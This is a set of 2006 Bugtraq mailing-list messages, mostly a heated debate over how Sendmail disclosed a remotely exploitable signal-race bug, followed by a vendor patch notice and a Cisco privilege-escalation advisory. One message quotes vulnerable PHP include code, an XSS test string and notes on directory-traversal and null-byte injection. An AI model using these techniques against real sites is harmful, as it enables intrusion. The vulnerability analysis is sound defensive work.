> After looking at the available data for 30 minutes (more or less),
> we know exactly what the vulnerabilities are. Exploiting them may
> not be that trivial if indeed possible,  but there are most likely
> already exploits out there if it is. When will the first public POC
> be released? Your guess is as good as mine.
> Not to mention the silently patched memory leak.

See above.

> SMTP and Sendmail by extension are critical for the Internet as an
> International Infrastructure. If this ends up being exploitable (no
> details, remember?) both ISS and Sendmail should look good and hard
> at the coming massive exploitation of Sendmail servers.

Yes, thats true.  If its exploitable and people dont update, then 
those people who choose to ignore the problem will be vulnerable. 
You could say that about every vulnerability that has ever existed.

> With issues relating to the Internet Infrastructure Id be willing
> to go even with the evil of non-disclosure, as long as something
> gets done and then reported publically when it finally scaled down
> in a roll-back after a couple of years.
> If not, and you are going to make it public, make the effort and
> fix it as soon as you can, and give information to help the process
> of healing. Dont do it a mounth late and obscure data.
>
> It took Sendmail a mounth to fix this. A mounth.
>
> A mounth!

Are you suggesting that it would have been better for us to have 
released the problem without giving vendors any time at all to get it 
integrated?  I think that would be seriously irresponsible.

[remainder of rant deleted].

eric


From: Valdis.Kletnieks@vt.edu
Sent: Fri 24. Mar 2006 05:13
--==_Exmh_1143195226_2795P
Content-Type: text/plain; charset=us-ascii

On Thu, 23 Mar 2006 03:59:20 CST, Gadi Evron said:
> Oh, sorry for not mentioning earlier -
> Operators that want to patch Sendmail, Id suggest doing it soon. Now we
> not only do we face risk to our mail servers, but rather trusting other
> servers as well.

Been there, done that.  All the same issues we saw when 8.12.9 came out:

8.12.9/8.12.9   2003/03/29
        SECURITY: Fix a buffer overflow in address parsing due to 
                a char to int conversion problem which is potentially
                remotely exploitable.  Problem found by Michal Zalewski.
                Note: an MTA that is not patched might be vulnerable to
                data that it receives from untrusted sources, which
                includes DNS.

So just like last time - Im sure somebody will patch their external-facing
mailserver *first*, and that lets exploit mail get through the external
mailer and reach the internal mailserver (where before it would just have
0wned the external server).

Not that Sendmail is any different from any OTHER infrastructure software.
The exact same issues apply when an IOS bug is found, or an NTP bug, or.....

(And if you think Sendmail didnt do a good job of releasing the info, I
shudder to think of what you thought of how Cisco handled the whole Lynn thing ;)



--==_Exmh_1143195226_2795P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFEI8ZacC3lWbTT17ARAmmRAJ9mtZ2pBKm8RskantznE1vj5ZGHSQCg3Fpm
ibCSdS3H4haqFbPUxhzTxjs=
=bdA8
-----END PGP SIGNATURE-----

--==_Exmh_1143195226_2795P--


From: Martin Schulze joey@infodrom.org
Sent: Fri 24. Mar 2006 16:13
Theo de Raadt wrote:
> > Sendmail is, as we know, the most used daemon for SMTP in the world. This
> > is an International Infrastructure vulnerability and should have been
> > treated that way. It wasnt. It was handled not only poorly, but
> > irresponsibly.

The documentation is distressingly vague.

> Now, the same holds true with OpenSSH.  Ill tell you what.  If there
> is ever a security problem (again :) in OpenSSH we will disclose it
> exactly like we want, and in no other way, and quite frankly since
> noone has ever paid a cent for its development they have nothing they
> can say about it.

Theo,

this is not about paying or not paying, it is not about owing somebody
something, but about sensible disclosure of security problems to the
world.

Sendmail has been an important part of the Internet infrastructure and
has gained a lot of honour and respect.  Many people use this piece of
software and a lot of distributors/vendors are proliferating this
software.  They do deserve better, as do the users who decide to trust
this vendor.

> Or run something else.

Maybe this is indeed the way to go.  There are several other
feature-rich mail transport agents.

Regards,

	Joey

-- 
Open source is important from a technical angle.             -- Linus Torvalds

Please always Cc to me when replying to me on the lists.


From: Gadi Evron ge@linuxbox.org
Sent: Fri 24. Mar 2006 12:03
On Thu, 23 Mar 2006, Eric Allman wrote:

<snip mostly relevant good replies by Mr. Allman>

> Talk to the vendors.  Ive seen quite a few of their advisories come 
> by.

After or before it hit the news? You may be able to alert vendors, but
the problem with critical infrastructure is that is widely deployed around
the world. Releasing the way you did is irresponsible.

You can do non-disclosure for a while or full disclosure, you cant do
both.

> > Commentary

== personal opinion

> Yes, thats true.  If its exploitable and people dont update, then 
> those people who choose to ignore the problem will be vulnerable. 
> You could say that about every vulnerability that has ever existed.

Indeed. And yet blaming the user is not how you solve the problem, is it?
The Internet being insecure is a give, do you blame the Internet for
telnet not being secure, or do you create SSH?

How long before enough Sendmail servers globally are patched?

> > A mounth!
> 
> Are you suggesting that it would have been better for us to have 
> released the problem without giving vendors any time at all to get it 
> integrated?  I think that would be seriously irresponsible.

I agree, my point is that if you release, do it as soon as you can as you
ARE critical infrastructure. If you want to let vendors get something
done, wait a whole lot longer than a month.

	Gadi.



From: Theo de Raadt deraadt@cvs.openbsd.org
Sent: Fri 24. Mar 2006 10:39
> Ask ISS about the exploit. It definitely is a programming bug,
> just read the man page for setjmp() on an OpenBSD system.

Claus is talking about this particular piece of text which we added to
our setjmp(3) manual page in late 2001:


CAVEATS
     [...]

     Use of longjmp() or siglongjmp() from inside a signal handler is not as
     easy as it might seem.  Generally speaking, all possible code paths be-
     tween the setjmp() and longjmp() must be signal race safe, as discussed
     in signal(3).  Furthermore, the code paths must not do resource manage-
     ment (such as open(2) or close(2)) without blocking the signal in ques-
     tion, or resources might be mismanaged.  Obviously this makes longjmp()
     much less useful than previously thought.

We came to a generic realization of the above concern as we were
auditing our source tree for signal handler issues, and thus we
documented it in the manual page so that all could see.

We were in the process of trying to clean up all of the signal
handlers in our entire source tree.  A few still remain, as they were
just too bizzare or difficult to change without potentially breaking
something.  This was one of them.  We knew the risk was there, but
what could we do...

This keeps happening, and I suppose, will keep happening.  People used
to think that just blindly replacing strcpy() with strncpy() was safe.
That number * sizeof(item) was a safe idiom in all cases.  These
things add up, and we learn more.  64 bit longs are making our life
harder, too.  The C standard has not helped us because it is broken
with regards to type casting.  We attempt to document some of these
issues in our manual pages.  Like the way people continually misuse
realloc()...

I specifically urge people to go read the OpenBSD signal(3) manual
page for more issues to worry about:

	http://www.openbsd.org/cgi-bin/man.cgi?query=signal


From: Gadi Evron ge@linuxbox.org
Sent: Fri 24. Mar 2006 11:50
On Fri, 24 Mar 2006 Valdis.Kletnieks@vt.edu wrote:
> On Thu, 23 Mar 2006 03:59:20 CST, Gadi Evron said:
> > Oh, sorry for not mentioning earlier -
> > Operators that want to patch Sendmail, Id suggest doing it soon. Now we
> > not only do we face risk to our mail servers, but rather trusting other
> > servers as well.
> 
> Been there, done that.  All the same issues we saw when 8.12.9 came out:

Exactly. You just made my point.


> 
> 8.12.9/8.12.9   2003/03/29
>         SECURITY: Fix a buffer overflow in address parsing due to 
>                 a char to int conversion problem which is potentially
>                 remotely exploitable.  Problem found by Michal Zalewski.
>                 Note: an MTA that is not patched might be vulnerable to
>                 data that it receives from untrusted sources, which
>                 includes DNS.
> 
> So just like last time - Im sure somebody will patch their external-facing
> mailserver *first*, and that lets exploit mail get through the external
> mailer and reach the internal mailserver (where before it would just have
> 0wned the external server).
> 
> Not that Sendmail is any different from any OTHER infrastructure software.
> The exact same issues apply when an IOS bug is found, or an NTP bug, or.....
> 
> (And if you think Sendmail didnt do a good job of releasing the info, I
> shudder to think of what you thought of how Cisco handled the whole Lynn thing ;)
> 
> 
> 



From: Gadi Evron ge@linuxbox.org
Sent: Fri 24. Mar 2006 11:44
On Thu, 23 Mar 2006, Dragos Ruiu wrote:
> On March 23, 2006 01:41 am, Gadi Evron wrote:
> > Heres what ISS releasing the Race Condition vulnerability has to say:
> > http://xforce.iss.net/xforce/alerts/id/216
> > They say its a remote code execution. They say its a race condition. No
> > real data available to speak of. I cant see how its remotely
> > exploitable, but well, no details, remember? From what we can see it seems
> > like a DoS.
> 
> ISSs Mark Dowd is very clever guy. And if duke says its exploitable
> I would believe him :-).  Its an interesting new vector anyway.

Indeed, which is why I said I cant see how and asked for details, as well
as in the next paragraoph that I would be happy to be enlightened.
:)


> But like all timing related attacks, the question is reliability.
> Though gossip has it, this one is repeatable with sub-100 attempts
> and you get infinite shots at it because even if the process 
> does die its a child of the parent listener. (So it is not really
> a DoS per se in any case.)
> 
> >
> > Bottom line
> > -----------
> > What they did behind the smoke-screen is replace a lot of setjmp() and
> > longjmp() functions (not very secure ones at that) with gotos
> > (interesting choice).
> 
> Smoke screen seems like unfarily loaded terminology to use.
> 
> OpenBSD fixed (removed) many setjmp/longjmp functions in their
> tree a long time ago as a class of bugs. (Though this sendmail 
> exploitable collecttimeout() longjmp one is new and they patched
> it yesterday with everyone else, because as you noted, replacing
> it was kinda hairy...)
> 
> I dont think its fair to bitch about people fixing bugs and then not
> having the time to send out advisories for every little tweak.
> The important thing is to fix the bug. And often times the 
> developer wont understand the real impact of fixing a bug 
> until someone clever like Mark comes up with some innovative
> way to exploit an "unexploitable" bug like this one.

I would tend to agree, however, sendmail have been very irresponsible in
the past, and with all due respect, if they want to play at being critical
internet infrastructure, they should live up to expectations or find a new
game.

> 
> What will be interesting to see when the PoC exploits are 
> finally released, is if any of the memory/stack protection schemes
> mitigate it.
> 
> <humor>
> Besides, there is only one true mailer to mail them all,
> and its name is Postfix.
> </humor>

:)

> Now if we could only convince Mr. Venema to switch 
> to a BSD license _everyone_ would switch to Postfix
> and everything would be much better. If it werent for
> that "poison pill" clause in its license, Im sure most
> OSes and commercial systems would have swapped 
> out Sendmail for Postfix long ago.

I agree, Postfix is incredibly good.. once you learn to get along with it!

> 
> cheers,
> --dr
> 
> -- 
> World Security Pros. Cutting Edge Training, Tools, and Techniques
> Vancouver, Canada    April 3-7 2006     http://cansecwest.com
> pgpkey http://dragos.com/ kyxpgp
> 



From: Theo de Raadt deraadt@cvs.openbsd.org
Sent: Fri 24. Mar 2006 15:17
> Sendmail has been an important part of the Internet infrastructure and
> has gained a lot of honour and respect.  Many people use this piece of
> software and a lot of distributors/vendors are proliferating this
> software.  They do deserve better, as do the users who decide to trust
> this vendor.

Paul Vixie did not decide that BIND should become a critical part of
the internet, or that it became a virtual monoculture.  He made it
free.  The community decided to make it Internet infrastructure.

Eric Allman did not decide that BIND should become a critical part of
the internet, or that it became a virtual monoculture.  He made it
free.  The community decided to make it Internet infrastructure.

I did not decide that OpenSSH should become a critical part of the
internet, or that it should become a virtual monopoly.  We made it
free.  Again, the community decided to make it Internet infrastructure.


Now you want to tell us that because the Internet community made
decisions like these, that we should be held responsible.  That we
have to follow YOUR procedures.  That we have to answer to YOU.

What if we ignore your procedures?  What if we say no?  What will you
do then?  Continue to verbally attack us?  To what end?  To show that
you are thankless dogs?

Does it make you feel like more of a man when you publically attack
people who wrote good things that you depend on, which you never
gave anything for?

Isnt it you who every day make the same decision to run our software,
give nothing back, and then believe that you have anything at all to
stand on?

Open Source developers get attacked when they dont follow YOUR
procedudes, but SSH.COM can skip fixing security problems for years,
and you will be silent.


You (and others like you) should be ashamed.  I am done with this
conversation.


note: I only wrote parts of OpenSSH; it was based on older free code
by Tatu Ylonen before he chose to go commercial, and initially made
free primarily by Niels Provos, Markus Friedl, myself, and a team of
other people.  Now it is maintained by about 6 developers.


From: Gadi Evron ge@linuxbox.org
Sent: Fri 24. Mar 2006 11:53
On Thu, 23 Mar 2006, Theo de Raadt wrote:
> > Sendmail is, as we know, the most used daemon for SMTP in the world. This
> > is an International Infrastructure vulnerability and should have been
> > treated that way. It wasnt. It was handled not only poorly, but
> > irresponsibly.
> 
> You would probably expect me to the be last person to say that Sendmail
> is perfectly within their rights.  I have had a lot of problems with
> what they are doing.
> 
> But what did you pay for Sendmail?  Was it a dollar, or was it more?  Let
> me guess.  It was much less than a dollar.  I bet you paid nothing.
> 
> So does anyone owe you anything, let alone a particular process which
> you demand with such length?

So you are basically saying open source free software cant be trusted to
hold high standards or be reliable or secure if I dont pay for it?


> 
> Now, the same holds true with OpenSSH.  Ill tell you what.  If there
> is ever a security problem (again :) in OpenSSH we will disclose it
> exactly like we want, and in no other way, and quite frankly since
> noone has ever paid a cent for its development they have nothing they
> can say about it.
> 
> Dear non-paying user -- please remember your place.
> 
> Or run something else.
> 
> OK?
> 
> Luckily within a few months you will be able to tell Sendmail how
> to disclose their bugs because their next version is going to come
> out with a much more commercial licence.  Then you can pay for it,
> and then you can complain too.
> 



From: Gadi Evron ge@linuxbox.org
Sent: Fri 24. Mar 2006 11:56
On Thu, 23 Mar 2006, Claus Assmann wrote:
> Ask ISS about the exploit. It definitely is a programming bug,
> just read the man page for setjmp() on an OpenBSD system.

I did, ISS indeed enlightened me. Didnt I ask for just that?
:)

> > It took Sendmail a mounth to fix this. A mounth.
> 
> No. It took sendmail a week to fix this.  The rest of the time was
> used to coordinate the release with all the involved vendors etc.

There are a few choices, full disclosure and "responsible disclosure" are
some. You cant do both. Releasing it out of nowhere, obfuscated in very
ineffective way, isnt it.

Not when its critical infrastructure. With critical internet
infrastructure you need to be a tad bit smarter than that.

Oh well, until the next sendmail vuln.

	Gadi.



From: Michael A Fusaro II maf@mafii.com
Sent: Fri 24. Mar 2006 18:31
Theo de Raadt wrote:
> > You would probably expect me to the be last person to say
> > that Sendmail is perfectly within their rights.  I have 
> > had a lot of problems with what they are doing.
> > 
> > But what did you pay for Sendmail?  Was it a dollar, or was 
> > it more?  Let me guess.  It was much less than a dollar.  I 
> > bet you paid nothing.
> > 
> > So does anyone owe you anything, let alone a particular process 
> > which you demand with such length?
> 
Gadi Evron wrote:
> So you are basically saying open source free software cant 
> be trusted to hold high standards or be reliable or secure 
> if I dont pay for it?

What he is basically saying is that you hold no right whatever 
to demand it.

The "International Infrastructures" need doesnt constitute 
a claim on Sendmail or its developers.  As Theo stated, if 
thats unacceptable, buy software with a commercial license 
(which would then give you the right to demand that trust, as 
included in the license).

--
Michael A Fusaro II
maf@mafii.com



From: "D.F.Russell" DFRussell@spamcop.net
Sent: Fri 24. Mar 2006 19:33

Theo de Raadt wrote:
>>Sendmail has been an important part of the Internet infrastructure and
>>has gained a lot of honour and respect.  Many people use this piece of
>>software and a lot of distributors/vendors are proliferating this
>>software.  They do deserve better, as do the users who decide to trust
>>this vendor.
> 
> 
> Paul Vixie did not decide that BIND should become a critical part of
> the internet, or that it became a virtual monoculture.  He made it
> free.  The community decided to make it Internet infrastructure.
> 
> Eric Allman did not decide that BIND should become a critical part of
> the internet, or that it became a virtual monoculture.  He made it
> free.  The community decided to make it Internet infrastructure.
> 
> I did not decide that OpenSSH should become a critical part of the
> internet, or that it should become a virtual monopoly.  We made it
> free.  Again, the community decided to make it Internet infrastructure.
> 
> 
> Now you want to tell us that because the Internet community made
> decisions like these, that we should be held responsible.  That we
> have to follow YOUR procedures.  That we have to answer to YOU.
> 
> What if we ignore your procedures?  What if we say no?  What will you
> do then?  Continue to verbally attack us?  To what end?  To show that
> you are thankless dogs?

[...]

> 
> You (and others like you) should be ashamed.  I am done with this
> conversation.

[...]

I would imagine that a number of people have been following this
discussion... and the technical issues have been well covered by
people more conversant with the software involved than am I.

Id just like to say thanks to Theo, Paul and Eric for the effort
and hours theyve worked on the products being discussed.. and
hope that more people would do the same.


Observation to the opposing side:

Being kind: the complaints being voiced appear to lack merit or
substance... which causes people to wonder what the real point of
them is...

Youre way past looking a gift horse in the mouth.

Maybe its a good time to stop?


From: Gadi Evron ge@linuxbox.org
Sent: Sat 25. Mar 2006 05:16
Theo de Raadt wrote:
>>Sendmail has been an important part of the Internet infrastructure and
>>has gained a lot of honour and respect.  Many people use this piece of
>>software and a lot of distributors/vendors are proliferating this
>>software.  They do deserve better, as do the users who decide to trust
>>this vendor.
> 
> 
> Paul Vixie did not decide that BIND should become a critical part of
> the internet, or that it became a virtual monoculture.  He made it
> free.  The community decided to make it Internet infrastructure.

No, he said: "I am up to the challange and I will do my best." If he 
couldnt he would have been responsible enough to say "I cant."

If he stayed anyway and would have not been up to task (which he was), 
he would have been seriously attacked as well and maybe even it would 
have been taken from him.

At this point I should probably not Paul is critical to DNS and a big 
part of bind, but he would be the first to say bind and DNS are not 
*his*. I think its great hes around.

> Eric Allman did not decide that BIND should become a critical part of
> the internet, or that it became a virtual monoculture.  He made it
> free.  The community decided to make it Internet infrastructure.
> 
> I did not decide that OpenSSH should become a critical part of the
> internet, or that it should become a virtual monopoly.  We made it
> free.  Again, the community decided to make it Internet infrastructure.

I personally appreciate OpenSSH, yet you keep insisting on saying on 
this thread that because it is free you shouldnt be held responsible, 
be expected to do anything or even worse, be expected to work on this 
unless you get paid.

Maybe you should change your moto about being the most secure OS around?

> Now you want to tell us that because the Internet community made
> decisions like these, that we should be held responsible.  That we
> have to follow YOUR procedures.  That we have to answer to YOU.

No one expects you to follow our procedures, heck, we are not the guys 
who re-coined "responsiuble disclosure" (which was a cool invention at 
first) as "work with us in our way or you are not responsible".

There are *no* procedures, you are held to your conscience. That said, I 
am sure you know how to be responsible.

On critical Internet infrastructure, which is global, there should be. 
No one country can make them.


> What if we ignore your procedures?  What if we say no?  What will you
> do then?  Continue to verbally attack us?  To what end?  To show that
> you are thankless dogs?
> 
> Does it make you feel like more of a man when you publically attack
> people who wrote good things that you depend on, which you never
> gave anything for?
> 
> Isnt it you who every day make the same decision to run our software,
> give nothing back, and then believe that you have anything at all to
> stand on?
> 
> Open Source developers get attacked when they dont follow YOUR
> procedudes, but SSH.COM can skip fixing security problems for years,
> and you will be silent.
> 
> You (and others like you) should be ashamed.  I am done with this
> conversation.
> 
> note: I only wrote parts of OpenSSH; it was based on older free code
> by Tatu Ylonen before he chose to go commercial, and initially made
> free primarily by Niels Provos, Markus Friedl, myself, and a team of
> other people.  Now it is maintained by about 6 developers.
> 


From: Todd Burroughs fd@parsec.net
Sent: Sat 25. Mar 2006 03:47
On Fri, 24 Mar 2006, Gadi Evron wrote:
> On Thu, 23 Mar 2006, Claus Assmann wrote:
>>> It took Sendmail a mounth to fix this. A mounth.
>>
>> No. It took sendmail a week to fix this.  The rest of the time was
>> used to coordinate the release with all the involved vendors etc.
>
> There are a few choices, full disclosure and "responsible disclosure" are
> some. You cant do both. Releasing it out of nowhere, obfuscated in very
> ineffective way, isnt it.
>
> Not when its critical infrastructure. With critical internet
> infrastructure you need to be a tad bit smarter than that.

How would you suggest that they release this?

I think that they did it in a pretty responsible way.  They where
notified of the problem, they fixed it and gave vendors who use/ship
the product some time to create and test patches, then it became public.
This was done in a month, any longer and I would think that they would be
putting us at risk, but I think that this is a very reasonable response.
0Day full-disclosure eith a sploit would have been more trouble for me
;-)  (Im probably not alone with that).

Todd


From: Casper.Dik@Sun.COM
Sent: Sat 25. Mar 2006 10:51
>So you are basically saying open source free software cant be trusted to
>hold high standards or be reliable or secure if I dont pay for it?

No, he is saying that *their* high standards are not necesarily *your*
high standards.  And that *they* get to define the rules with which they
publish their advisories; many people are fine with the way they do
it so why should they listen to *you*?

Casper


From: Eric Allman eric+bugtraq@neophilic.com
Sent: Fri 24. Mar 2006 15:53
Theo,

>> ISS explained it to us and
>> told us that they had managed to craft an exploit in their lab, but
>> frankly we dont see how it can be practical.
>
> I know the guy who exploited it.  Hes better than you think he is.

Im sorry, I was not trying to imply in any way that Mark was blowing 
smoke.  I believe he can do it.  Take my statement literally: /we/ 
dont /see/ how it can be practical.  Perhaps I should have said 
"understand" instead of "see".  The point was that this is not a 
trivial problem to exploit.  But yes, I do believe it is real, and I 
think (hope) I made that clear in my message.

> On average it takes him 100 connects to a machine, and he wins the
> race.  Since the child process is a clone of the parent, he gets to
> try it over and over.
>
> Thats the problem, everyone says the race cant be won.  If you
> dont win it, you try again.  Eventually you win the race.

And I totally understand that.

> If eventually was 1,000,000 attempts, ISS would not be paying him
> (since he gets paid extra for proven bugs).

If eventually were 1,000,000 attempts, it would still be real.

> Their process requires a working exploit before they will disclose.
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>
> I do think you made a serious mistake in writing an advisory based
> on the standard boiler plate that many vendors use to make it
> appear as if the bug is less serious.  You avoided saying "This is
> a remote root" hole.  Because it is!  ISS told you quite clearly, I
> am sure. But instead, you went with the standard boiler plate which
> tries to muddle the situation.

First, it was not my (speaking for myself) intent to minimize the 
concern.  But at this point I certainly hope that everyone is running 
sendmail with the RunAsUser option set, at least on their gateways 
--- weve been urging that for years now, so people who are 
sufficiently security-focused should not have a remote /root/ exploit 
(although I also understand that getting into any uid on a system 
makes getting room much easier).  We did mention that in our 
comments, if I recall correctly (Im on an airplane right now and 
dont seem to have the text with me).

I stick to my original position: this is a real problem, but it is 
very hard to exploit.  Even having been told all the details I dont 
think I could write it.  Does that mean that someone wont do so? 
No, Im quite certain they will.  But the truth is that we know of no 
exploits in the wild right now, and we believe that it will be hard 
enough to craft that people shouldnt panic.  They should upgrade, 
and promptly.  If they arent using RunAsUser, they should take this 
opportunity to do so.

> And THAT is why people are upset with you.  You should take that
> criticism to heart and next time not release a muddled boilerplate
> kind of muddle.  Be men.  Take a little bit of responsibility -- and
> people will slightly praise you but most definately not attack you
> as they are.

Ill have to take responsibility for not being more insistent on 
bluntness in our text.  I was not the one who wrote it, although I 
did get a chance to provide input.  And Ill certainly try to be more 
adamant about clarity and directness should this come up again.

But again, I have to say:

We did not attempt to hide this problem.

Much of the lack of clarity in our statement was because we didnt 
(and still dont) completely understand the details of the exploit 
ourselves (although we are satisfied, and ISS has confirmed, that we 
have eliminated the use of problematic alarm-based I/O timeouts that 
were the root of the problem).

We didnt try to slip in other changes without saying anything.

We feel that we responded promptly and appropriately, although its 
also clear that we could definitely have done a better job of it. 
We/I always learn something, and try to do better next time.

Thanks for your comments.  Really.

eric



From: Pim van Riezen pi@madscience.nl
Sent: Sat 25. Mar 2006 09:12
On Mar 24, 2006, at 11:17 PM, Theo de Raadt wrote:

> I did not decide that OpenSSH should become a critical part of the
> internet, or that it should become a virtual monopoly.  We made it
> free.  Again, the community decided to make it Internet  
> infrastructure.
>
> Now you want to tell us that because the Internet community made
> decisions like these, that we should be held responsible.  That we
> have to follow YOUR procedures.  That we have to answer to YOU.
>
> What if we ignore your procedures?  What if we say no?  What will you
> do then?  Continue to verbally attack us?  To what end?  To show that
> you are thankless dogs?

Mr. De Raadt,

Perhaps you had no intention for your software to have such an  
influence over the internet. You did not create it in a vacuum  
either, on dangerous ground as I may be in second guessing peoples  
motivations, I cannot imagine a developer releasing a quality piece  
of software, not hoping for it to be used by a large group of people.  
When you rise to such a position of influence, there comes the  
inevitable fact that many people will have opinions on how you use  
this influence, especially where it affects their daily lives.  
Getting upset about this is as pointless as it is for a rockstar to  
complain about the paparazzi.

It is true that a developers of a free product, even if their product  
rose to the level of popularity that it can be considered critical  
infrastructure, have no formal obligations towards their userbase at  
all. It would be silly to claim, however, that they are not  
responsible for the effects their decisions have on a larger  
community. People of character like yourself understand this  
responsibility. Where peoples decisions have such tremendous impact,  
declaring outside criticism invalid counters that.

This is not to say that I dont feel empathy for your despair in the  
face of thousands of people that are probably overloading you with  
helpful suggestions for your projects, but I think it is best to  
utter such frustrations in the privacy of ones home and let the  
people make their noise. Who knows, sometimes interesting sound rises  
up from such noise.

Kind Regards,
Pim van Riezen



From: Kurt Seifried bt@seifried.org
Sent: Sat 25. Mar 2006 14:54
I think the people complaining should look at their fears, it appears to me 
that they are coming from a position of fear (lack of percieved control over 
their systems, etc.) which is leading to anger and hatred that is being 
directed outwards (at the closest target which to them is the people 
actually responsible for the software and in a position of power/control). I 
also suspect they have fears of not appearing to be in control or a position 
of power with others (a.k.a. approval seeking behavior) which results in 
this posturing behavior that actually results in them appearing quite 
helpless and childlike (quite the opposite of how they want to appear).

Its interesting that the people being attacked have made significant to 
huge positive contributions to the world (sendmail was the killer app for 
the Internet, which in turn depended on BIND), ditto for OpenSSH, its the 
killer app for remote access, or maintaining the security of widely used 
operating systems.

On the side of the complainers I ... well to be frank Im not aware of any 
positive contributions they have made to the world.

Can we please end this thread? The longer it goes on the more angry and 
bitter the complainers are going to become which isnt benefiting anyone.

-Kurt



From: Florian Weimer fw@deneb.enyo.de
Sent: Sun 26. Mar 2006 00:12
* Theo de Raadt:

> What if we ignore your procedures?  What if we say no?

You wont be told about bugs in the code you write.  Its as simple as
that.

But I dont quite understand why Gadi is so thoroughly offended by the
way how this vulnerability has been handled so far.  The patches might
be obscure, but at least there are official patches for older
versions, too.  And there is an official advisory.  It could be far
worse.  The programmers of a rather popular kernel do not publish
advisories at all, for instance.


From: Gadi Evron ge@linuxbox.org
Sent: Sun 26. Mar 2006 03:15
Eric Allman wrote:
>> I know the guy who exploited it.  Hes better than you think he is.
> 
> 
> Im sorry, I was not trying to imply in any way that Mark was blowing 
> smoke.  I believe he can do it.  Take my statement literally: /we/ dont 
> /see/ how it can be practical.  Perhaps I should have said "understand" 
> instead of "see".  The point was that this is not a trivial problem to 
> exploit.  But yes, I do believe it is real, and I think (hope) I made 
> that clear in my message.

2 public exploits and counting.

	Gadi.


From: "Geo." geoincidents@nls.net
Sent: Sun 26. Mar 2006 11:12
> No, he said: "I am up to the challange and I will do my best." If he
> couldnt he would have been responsible enough to say "I cant."
>
> If he stayed anyway and would have not been up to task (which he was),
> he would have been seriously attacked as well and maybe even it would
> have been taken from him.

Guys,

Paul did finally realize he wasnt capable of writing secure code (he said
so himself in a fairly recent post somewhere), he is one of the top DNS
experts on the planet but hes not one of the top security oriented
programmers and he is aware of this, so he brought in someone who is good at
security oriented programming. That was the right thing to do and it really
helped the bind project. Thats what the sendmail project badly needs at
this point, a security oriented project lead.

Realizing that you dont know everything there is to know takes nothing away
from the project or the people working on it. In fact it shows you know more
than the people who refuse to recognize the reality.

Geo.



From: Casper.Dik@Sun.COM
Sent: Tue 28. Mar 2006 09:36
>* Theo de Raadt:
>
>> What if we ignore your procedures?  What if we say no?
>
>You wont be told about bugs in the code you write.  Its as simple as
>that.
>
>But I dont quite understand why Gadi is so thoroughly offended by the
>way how this vulnerability has been handled so far.  The patches might
>be obscure, but at least there are official patches for older
>versions, too.  And there is an official advisory.  It could be far
>worse.  The programmers of a rather popular kernel do not publish
>advisories at all, for instance.

I dont quite understand the complaints about "obscure" patches;
intricate bugs require elaborate patches; its not a one line
sprintf->snprintf change that is easy to understand.

Because of the way the bug was addressed, ripping out setjmp/longjmp,
a lot of change is needed which is not immediately obvious.

But such is the nature of complicated bug fixes; sometimes one also needs
to rewrite parts in a more natural way or code will become increasingly
"patchy" and less maintainable.

Casper


From: "Steven M. Christey" coley@mitre.org
Sent: Wed 12. Apr 2006 20:02
The XSS issue in the shard parameter appears to be resultant from a
more serious file inclusion vulnerability.  This is the kind of
diagnosis error that I have mentioned in the past [1].

Notice that the error message shows that it took the "shard" parameter
and directly inserted it into a filename that it then tried to open.
In addition, the "/" is not being filtered - otherwise the </h1> would
not be there:

>Warning: main(): Failed opening engine/shards/<h1>just test your
>web</h1>.php
>for inclusion
>(include_path=.:/usr/lib/php/:/usr/share/pear/) in
>/var/www/html/blur/index.php on line 108


Looking at the source for index.php in blur6ex 0.3.462, we have:

>        $shard = $_REQUEST["shard"];
>...
>    		include(engine/shards/ . $shard ..php);
>...
>            include(engine/shards/ . $shard . .php);


There is not any apparent cleansing of the $shard variable (based on
grep test).

So, this looks like a directory traversal issue in a PHP include
statement, so arbitrary PHP files might be included and executed using
"../" sequences.  And without any apparent cleansing, it seems likely
that null character injection could be used to access files of any
extension.

NOTE - the errormsg parameter appears to be primary XSS.  From
engine/shards/login.php:

>    case "g_error":
>    $errormsg = $_REQUEST[errormsg];
>...
>    	$thisContentObj->primaryContent = "Error: " . $errormsg;


This is all based on source code inspection only - I have not
installed and tested the product.

- Steve


References:

[1] Mis-diagnosed XSS bugs hiding worse issues due to PHP feature
    Bugtraq, April 1, 2006
    http://marc.theaimsgroup.com/?l=bugtraq&m=114392753509966&w=2


From: Jeremy Ashcraft jashcraft@edgate.com
Sent: Thu 13. Apr 2006 17:41
All issues have been patched and a new release made available.

http://www.simplog.org/archive.php?blogid=1&pid=56

-- 
jeremy ashcraft
operations/development
EDucation GATEways
jashcraft@edgate.com



From: Ilker Temir itemir@cisco.com
Sent: Wed 19. Apr 2006 17:42
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is Cisco PSIRTs response to the privilege escalation
vulnerability independently announced by Adam Pointon of
Assurance.com.au and Mathieu Pepin of Axen Consulting. We would like
to thank both Adam and Mathieu for bringing this issue to our
attention.

The following are affected by this vulnerability:

  * Cisco Wireless LAN Solution Engine (WLSE)
  * Cisco Hosting Solution Engine (HSE)
  * Cisco User Registration Tool (URT)
  * Cisco Ethernet Subscriber Solution Engine (ESSE)
  * CiscoWorks2000 Service Management Solution (SMS)

By exploiting this vulnerability, an authenticated attacker on the
command line interface may obtain shell access to the underlying
operating system by injecting specially crafted commands.

The following products are affected by this vulnerability:

  * Cisco WLSE - A separate Cisco Security Advisory has been
    published which addresses multiple vulnerabilities in the WLSE
    appliance, including this vulnerability. Refer to the security
    advisory at the following URL for more information on the impact
    and fixed software versions:
    http://www.cisco.com/warp/public/707/cisco-sa-20060419-wlse.shtml.

  * This vulnerability is addressed by the Cisco bug ID CSCsd22861
    for the URT appliance. 2.5.5(A1) version of the URT software
    fixes this issue and can be downloaded from the following URL:
    http://www.cisco.com/cgi-bin/tablebuild.pl/urt-3des.

  * Cisco HSE - This vulnerability is addressed by the Cisco bug ID
    CSCsd22859 for the HSE appliance.
    The HSE-PSIRT1 patch fixes this issue and can be downloaded from
    the following URL:
    http://www.cisco.com/cgi-bin/tablebuild.pl/1105-host-sol.

  * Cisco ESSE - This product has reached End-of-Life therefore Cisco
    will not be providing fixed software for the ESSE product by
    default. Customers who require a fix for this should open a
    service request and request a fix through the Technical Support
    organization.

  * CiscoWorks SMS - This product has reached End-of-Life therefore
    Cisco will not be providing fixed software for the SMS product by
    default. Customers who require a fix for this should open a
    service request and request a fix through the Technical Support
    organization.

Thanks,

Ilker

assurance.com.au wrote:
> Assurance.com.au - Vulnerability Advisory
